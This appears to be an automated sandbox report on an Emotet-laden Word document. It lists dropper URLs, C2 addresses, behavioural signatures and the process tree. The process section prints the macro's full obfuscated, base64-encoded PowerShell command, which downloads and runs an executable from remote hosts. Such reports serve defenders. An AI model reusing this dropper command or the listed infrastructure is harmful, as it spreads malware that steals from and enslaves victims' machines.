Analysis

  • max time kernel
    141s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    27/10/2020, 00:07

General

  • Target
    Arc-20201027-0780.doc
  • Size 159KB
  • Sample201027-4cdtvwsaka
  • SHA256 4e6cc9395d61d172bbf4609dd2621e07304e62e0d580fca4ee823d4359fcc7a6
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://preilurd.com/wp-admin/N/

  • exe.dropper

    https://twistan.com/wp-content/pxj/

  • exe.dropper

    https://beliloba.com/cgi-bin/1t/

  • exe.dropper

    https://jabalmubarak.com/wp-includes/mq/

  • exe.dropper

    https://www.xxxporn.futbol/wp-includes/vC/

  • exe.dropper

    https://vietnamdigitalmarketing.org/wp-includes/qd/

  • exe.dropper

    https://haule.net/wp-content/JAJ/

Extracted

Family
  • emotet

Botnet
  • Epoch1

C2
  • 45.16.226.117:443

  • 104.131.92.244:8080

  • 70.39.251.94:8080

  • 87.230.25.43:8080

  • 186.189.249.2:80

  • 209.236.123.42:8080

  • 5.196.35.138:7080

  • 45.33.77.42:8080

  • 46.43.2.95:8080

  • 24.135.69.146:80

  • 103.236.179.162:80

  • 190.92.122.226:80

  • 201.71.228.86:80

  • 68.183.170.114:8080

  • 183.176.82.231:80

  • 168.197.45.36:80

  • 152.169.22.67:80

  • 111.67.12.221:8080

  • 51.75.33.127:80

  • 186.70.127.199:8090

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Arc-20201027-0780.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4052
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IABzAEUAdAAtAEkAdABlAE0AIAAgACgAJwB2AEEAUgAnACsAJwBpACcAKwAnAEEAQgBMAEUAOgAnACsAJwAxACcAKwAnADkAUwBSAFUAJwApACAAIAAoAFsAdAB5AFAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADEAfQB7ADAAfQB7ADQAfQAiACAALQBmACcAUgBlAEMAdAAnACwAJwAuAGkAbwAuAGQAaQAnACwAJwBTAHkAJwAsACcAcwBUAEUATQAnACwAJwBvAHIAeQAnACkAIAApADsAIAAkADEAVwBOAEMAVQBsACAAPQAgAFsAdAB5AHAARQBdACgAIgB7ADMAfQB7ADYAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQAiACAALQBmACcAZQAnACwAJwBpAEMARQBwACcALAAnAEUAcgB2ACcALAAnAFMAeQBzAFQAJwAsACcATwBJAG4AVABtAGEAbgBBAGcAZQBSACcALAAnAFQALgBTACcALAAnAGUATQAuAG4AJwApACAAOwAkAFgAdwBsAGYAXwBtAGwAPQAoACgAJwBTADIAJwArACcAawAnACkAKwAoACcAcgAnACsAJwBqAGwAJwApACsAJwAwACcAKQA7ACQAVQBwAGMANgB4AGkAbwA9ACQASwBtAHQANABwAHoAdAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASwB5AGgAbABjAF8AaAA7ACQAWgAxADAAYQA4AGkAbgA9ACgAJwBXACcAKwAoACcAYQAnACsAJwA4ADUAbQBtACcAKwAnAF8AJwApACkAOwAgACAAKAB2AEEAcgBJAGEAYgBMAGUAIAAoACcAMQA5AFMAcgAnACsAJwBVACcAKQAgAC0AVgBBACkAOgA6ACIAYwBSAGUAQQBUAEUARABgAEkAUgBlAGAAYwBUAGAATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwA3ADMAJwArACgAJwBXAFMAZwBpAHcAJwArACcAdQB3ACcAKQArACcANAAnACsAKAAnADcAMwBXACcAKwAnAFYAMQAnACkAKwAoACcAegAyAF8AbwAnACsAJwBxACcAKwAnADcAMwAnACkAKwAnAFcAJwApAC4AIgByAGAAZQBwAEwAQQBgAGMARQAiACgAKAAnADcAJwArACcAMwBXACcAKQAsAFsAUwBUAHIASQBOAGcAXQBbAGMASABBAHIAXQA5ADIAKQApACkAOwAkAFQAZQBuAHgANgB4ADkAPQAoACcAQwA5ACcAKwAoACcAMgBsAGUAJwArACcAXwBlACcAKQApADsAIAAgACgAIABnAGUAVAAtAGkAVABlAE0AIAAoACcAdgBBAFIAaQBhAEIAbABFACcAKwAnADoAMQB3AG4AQwAnACsAJwB1AEwAJwApACAAKQAuAHYAQQBMAFUAZQA6ADoAIgBzAEUAQwBVAHIASQBgAFQAWQBwAHIAbwBgAFQATwBgAEMAYABPAGwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAE4ANwBzAHQAbgAwAHkAPQAoACcAWgAnACsAKAAnAGUAOQAnACsAJwBvADMAJwApACsAJwAxAGIAJwApADsAJABVADMAegBqAF8AeABrACAAPQAgACgAJwBSAHoAJwArACcAdgAnACsAKAAnADAAJwArACcAeAB1ACcAKQApADsAJABJADQAMQA5AF8AcgBiAD0AKAAnAFcAOAAnACsAKAAnAGgAJwArACcAawByADUAcQAnACkAKQA7ACQAVQByAGgAeQAyADEAdAA9ACgAKAAnAEoAJwArACcANwB5ACcAKQArACgAJwB4AHEAJwArACcAcAAnACkAKwAnAGYAJwApADsAJABZAHEAOABiADcAbABmAD0AJABIAE8ATQBFACsAKAAoACcAQQAnACsAKAAnAHgANQBTAGcAJwArACcAaQAnACsAJwB3AHUAJwArACcAdwA0ACcAKQArACgAJwBBAHgANQAnACsAJwBWADEAegAnACkAKwAoACcAMgAnACsAJwBfAG8AcQAnACkAKwAoACcAQQB4ACcAKwAnADUAJwApACkALgAiAHIARQBQAGwAYABBAGMAZQAiACgAKABbAGMAaABhAHIAXQA2ADUAKwBbAGMAaABhAHIAXQAxADIAMAArAFsAYwBoAGEAcgBdADUAMwApACwAJwBcACcAKQApACsAJABVADMAegBqAF8AeABrACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAWgBtAGYAMQB4AGEAegA9ACgAKAAnAFkANwBjACcAKwAnAHIAdgAnACkAKwAnAHEAdgAnACkAOwAkAEcAZAB0AGcAYgByAHkAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAYwBsAGkAZQBuAHQAOwAkAE8AXwBsAHIAdAB6AHgAPQAoACgAJwBoACcAKwAnAHQAdABwAHMAOgAnACkAKwAoACcAWwAgAHcAJwArACcAZQAgACcAKQArACcAXQAnACsAKAAnAFsAJwArACcAIAB3ACcAKQArACgAJwBlACAAXQBwACcAKwAnAHIAZQAnACkAKwAnAGkAbAAnACsAJwB1AHIAJwArACgAJwBkACcAKwAnAC4AYwBvAG0AWwAgACcAKwAnAHcAZQAnACkAKwAoACcAIAAnACsAJwBdAHcAJwApACsAKAAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQAnACsAJwBuACcAKwAnAFsAJwArACcAIAB3AGUAIABdAE4AJwArACcAWwAgAHcAZQAgAF0AJwApACsAJwBAACcAKwAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAJwArACcAcwA6AFsAJwApACsAKAAnACAAdwBlACcAKwAnACAAXQAnACkAKwAoACcAWwAgACcAKwAnAHcAJwApACsAKAAnAGUAJwArACcAIABdACcAKQArACgAJwB0AHcAJwArACcAaQAnACsAJwBzAHQAYQBuAC4AYwBvAG0AJwApACsAJwBbACcAKwAnACAAdwAnACsAKAAnAGUAIABdAHcAJwArACcAcAAnACsAJwAtAGMAbwBuAHQAJwApACsAJwBlACcAKwAoACcAbgAnACsAJwB0AFsAIAB3AGUAIABdACcAKQArACcAcAB4ACcAKwAoACcAagBbACAAdwBlACcAKwAnACAAXQAnACsAJwBAACcAKQArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACcAcwAnACsAKAAnADoAWwAgAHcAZQAnACsAJwAgACcAKwAnAF0AWwAnACkAKwAoACcAIAB3AGUAJwArACcAIABdACcAKwAnAGIAJwApACsAKAAnAGUAJwArACcAbABpACcAKwAnAGwAbwAnACsAJwBiAGEALgBjAG8AbQAnACsAJwBbACAAJwApACsAKAAnAHcAZQAgACcAKwAnAF0AJwArACcAYwBnAGkALQBiAGkAJwArACcAbgAnACkAKwAoACcAWwAgAHcAJwArACcAZQAgACcAKQArACcAXQAnACsAKAAnADEAJwArACcAdABbACAAdwBlACAAJwApACsAJwBdACcAKwAoACcAQABoAHQAdAAnACsAJwBwACcAKQArACgAJwBzACcAKwAnADoAWwAnACkAKwAnACAAdwAnACsAJwBlACAAJwArACcAXQAnACsAJwBbACAAJwArACgAJwB3AGUAJwArACcAIABdAGoAJwApACsAKAAnAGEAYgAnACsAJwBhACcAKQArACgAJwBsAG0AdQAnACsAJwBiAGEAJwArACcAcgBhACcAKwAnAGsALgBjAG8AbQBbACcAKQArACgAJwAgAHcAZQAgACcAKwAnAF0AJwApACsAKAAnAHcAJwArACcAcAAtACcAKQArACcAaQAnACsAKAAnAG4AYwAnACsAJwBsACcAKQArACcAdQBkACcAKwAnAGUAJwArACcAcwBbACcAKwAoACcAIAAnACsAJwB3AGUAIABdACcAKwAnAG0AcQBbACcAKwAnACAAdwBlACAAXQAnACkAKwAoACcAQAAnACsAJwBoAHQAdABwAHMAJwApACsAKAAnADoAWwAgAHcAJwArACcAZQAgAF0AWwAgACcAKwAnAHcAJwArACcAZQAnACkAKwAnACAAJwArACgAJwBdAHcAdwB3AC4AJwArACcAeAB4AHgAcAAnACkAKwAoACcAbwByACcAKwAnAG4ALgBmACcAKwAnAHUAJwApACsAJwB0AGIAJwArACgAJwBvAGwAWwAgAHcAJwArACcAZQAnACsAJwAgACcAKQArACcAXQB3ACcAKwAnAHAAJwArACgAJwAtAGkAJwArACcAbgBjAGwAJwArACcAdQBkAGUAJwApACsAKAAnAHMAWwAgAHcAJwArACcAZQAnACkAKwAoACcAIABdAHYAJwArACcAQwAnACkAKwAnAFsAJwArACgAJwAgAHcAZQAgAF0AQABoACcAKwAnAHQAdAAnACsAJwBwACcAKwAnAHMAOgAnACkAKwAoACcAWwAgAHcAJwArACcAZQAnACkAKwAnACAAJwArACcAXQAnACsAJwBbACAAJwArACgAJwB3AGUAJwArACcAIAAnACkAKwAnAF0AJwArACgAJwB2AGkAZQAnACsAJwB0AG4AYQBtAGQAJwArACcAaQBnACcAKwAnAGkAJwArACcAdABhACcAKwAnAGwAbQBhAHIAJwApACsAKAAnAGsAJwArACcAZQB0AGkAbgBnAC4AbwAnACkAKwAoACcAcgBnACcAKwAnAFsAIAB3ACcAKwAnAGUAIAAnACkAKwAoACcAXQAnACsAJwB3AHAALQBpAG4AYwBsACcAKwAnAHUAZABlACcAKwAnAHMAWwAnACsAJwAgAHcAJwApACsAJwBlACAAJwArACgAJwBdACcAKwAnAHEAZABbACAAJwArACcAdwAnACkAKwAnAGUAJwArACgAJwAgAF0AQABoAHQAdAAnACsAJwBwAHMAOgAnACkAKwAnAFsAJwArACcAIAB3ACcAKwAoACcAZQAgACcAKwAnAF0AJwArACcAWwAnACsAJwAgAHcAZQAgAF0AJwApACsAKAAnAGgAJwArACcAYQB1AGwAJwArACcAZQAnACsAJwAuAG4AZQB0ACcAKwAnAFsAIAB3AGUAIAAnACsAJwBdAHcAcAAtAGMAJwApACsAKAAnAG8AbgB0ACcAKwAnAGUAJwApACsAKAAnAG4AdAAnACsAJwBbACAAdwAnACkAKwAoACcAZQAgACcAKwAnAF0AJwApACsAJwBKAEEAJwArACgAJwBKAFsAJwArACcAIAB3AGUAJwApACsAJwAgAF0AJwApAC4AIgBSAGAARQBwAEwAQQBDAGUAIgAoACgAJwBbACAAJwArACcAdwAnACsAKAAnAGUAJwArACcAIABdACcAKQApACwAJwAvACcAKQAuACIAcwBgAHAAbABpAHQAIgAoACQARwBzADMAcwBwADgANAAgACsAIAAkAFUAcABjADYAeABpAG8AIAArACAAJABHAGsAdgBkADUAcAA0ACkAOwAkAFQAZQBsAGUAeQAyAHUAPQAoACcAVQB1ACcAKwAnADEANgAnACsAKAAnAHgAYwAnACsAJwA3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABaAGcAegBsAG4AOABuACAAaQBuACAAJABPAF8AbAByAHQAegB4ACkAewB0AHIAeQB7ACQARwBkAHQAZwBiAHIAeQAuACIARABvAFcAYABOAEwATwBBAGQAZgBgAGkAYABsAGUAIgAoACQAWgBnAHoAbABuADgAbgAsACAAJABZAHEAOABiADcAbABmACkAOwAkAEkAcABvADkAeAB5AHkAPQAoACcATwAnACsAJwB0ACcAKwAoACcAcgBtAHEAdgAnACsAJwA2ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFkAcQA4AGIANwBsAGYAKQAuACIATABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAA0ADAANAA3ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAaQAnACsAJwBuACcAKQArACcAMwAnACsAJwAyAF8AJwArACgAJwBQAHIAJwArACcAbwAnACsAJwBjAGUAcwBzACcAKQApACkALgAiAEMAcgBFAGEAYABUAEUAIgAoACQAWQBxADgAYgA3AGwAZgApADsAJABQADIAcQBlAHEAdgBzAD0AKAAnAEEAJwArACgAJwAxACcAKwAnADcAZwAnACkAKwAoACcAOQAnACsAJwBfAGgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAMwBvAGEANgA0AGQAPQAoACgAJwBHAHYAZgBrACcAKwAnAGgAJwApACsAJwBtACcAKwAnAGgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGADQAYgBsAHAANAA3AD0AKAAoACcAWABfAHgAJwArACcAMAA0ACcAKQArACcANwAnACsAJwB3ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1652
  • C:\Users\Admin\Sgiwuw4\V1z2_oq\Rzv0xu.exe
    C:\Users\Admin\Sgiwuw4\V1z2_oq\Rzv0xu.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:2096
    • C:\Windows\SysWOW64\FXSCOM\mtstocom.exe
      "C:\Windows\SysWOW64\FXSCOM\mtstocom.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:384

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/384-17-0x00000000008F0000-0x0000000000910000-memory.dmp

        memory/384-18-0x0000000001F70000-0x0000000001F8E000-memory.dmp

        memory/1652-10-0x00000209B9940000-0x00000209B9941000-memory.dmp

        memory/1652-9-0x00000209A15E0000-0x00000209A15E1000-memory.dmp

        memory/1652-8-0x00007FFCC73E0000-0x00007FFCC7DCC000-memory.dmp

        memory/2096-13-0x00000000006E0000-0x0000000000700000-memory.dmp

        memory/2096-14-0x0000000000A30000-0x0000000000A4E000-memory.dmp

        memory/4052-0-0x00007FFCCEE20000-0x00007FFCCF457000-memory.dmp

        memory/4052-5-0x0000027EBF260000-0x0000027EBF269000-memory.dmp